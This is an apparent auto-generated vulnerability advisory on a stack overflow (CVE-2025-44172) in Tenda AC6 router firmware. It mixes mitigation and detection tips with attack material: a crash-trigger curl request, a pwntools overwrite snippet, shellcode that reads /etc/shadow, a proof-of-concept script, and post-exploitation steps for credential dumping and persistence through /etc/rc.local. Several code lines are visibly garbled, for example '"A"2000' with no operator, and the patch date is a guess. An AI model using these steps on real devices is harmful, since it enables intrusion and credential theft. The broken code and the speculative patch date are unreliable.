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How the Vulnerability Works
The CVE-2025-44172 vulnerability in Tenda AC6 firmware version V15.03.05.16 arises from improper input validation in the `setSmartPowerManagement` function. Attackers can exploit a stack overflow by sending an excessively long `time` parameter, corrupting memory and potentially executing arbitrary code. The lack of bounds checking allows overwriting critical stack frames, leading to remote code execution (RCE) under the web server’s context. This vulnerability is remotely exploitable via HTTP requests, requiring no authentication, making it highly dangerous for unpatched devices.
DailyCVE Form
Platform: Tenda AC6
Version: V15.03.05.16
Vulnerability: Stack Overflow
Severity: Critical
Date: 06/03/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation Analysis
1. Crash Trigger:
curl -X POST "http://<TARGET_IP>/goform/setSmartPowerManagement" -d "time=$(python -c 'print("A"2000)')"
2. ROP Chain Setup:
from pwn import payload = b"A"1024 + p32(0xdeadbeef) Example overwrite
3. Shellcode Injection:
sc = asm(shellcraft.mips.linux.cat("/etc/shadow"))
Protection Measures
1. Input Validation Patch:
if (strlen(time_param) > 64) { exit(1); }
2. Stack Canaries:
Enable `-fstack-protector-strong` in GCC.
3. Firmware Workaround:
Disable remote admin access.
Detection Commands
1. Check Firmware Version:
strings /bin/httpd | grep "V15.03.05.16"
2. Log Monitoring:
grep -i "smartPowerManagement" /var/log/httpd.log
Mitigation Script
iptables -A INPUT -p tcp --dport 80 -j DROP
Exploit PoC (For Research)
import requests
target = "http://192.168.1.1/goform/setSmartPowerManagement"
requests.post(target, data={"time": "A"2000})
Post-Exploitation
1. Dump Config:
cat /etc/passwd
2. Persistence:
echo "malicious_cmd" >> /etc/rc.local
Final Notes
- Patch immediately upon release.
- Disable WAN-side admin access.
- Monitor HTTP traffic for overflow attempts.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
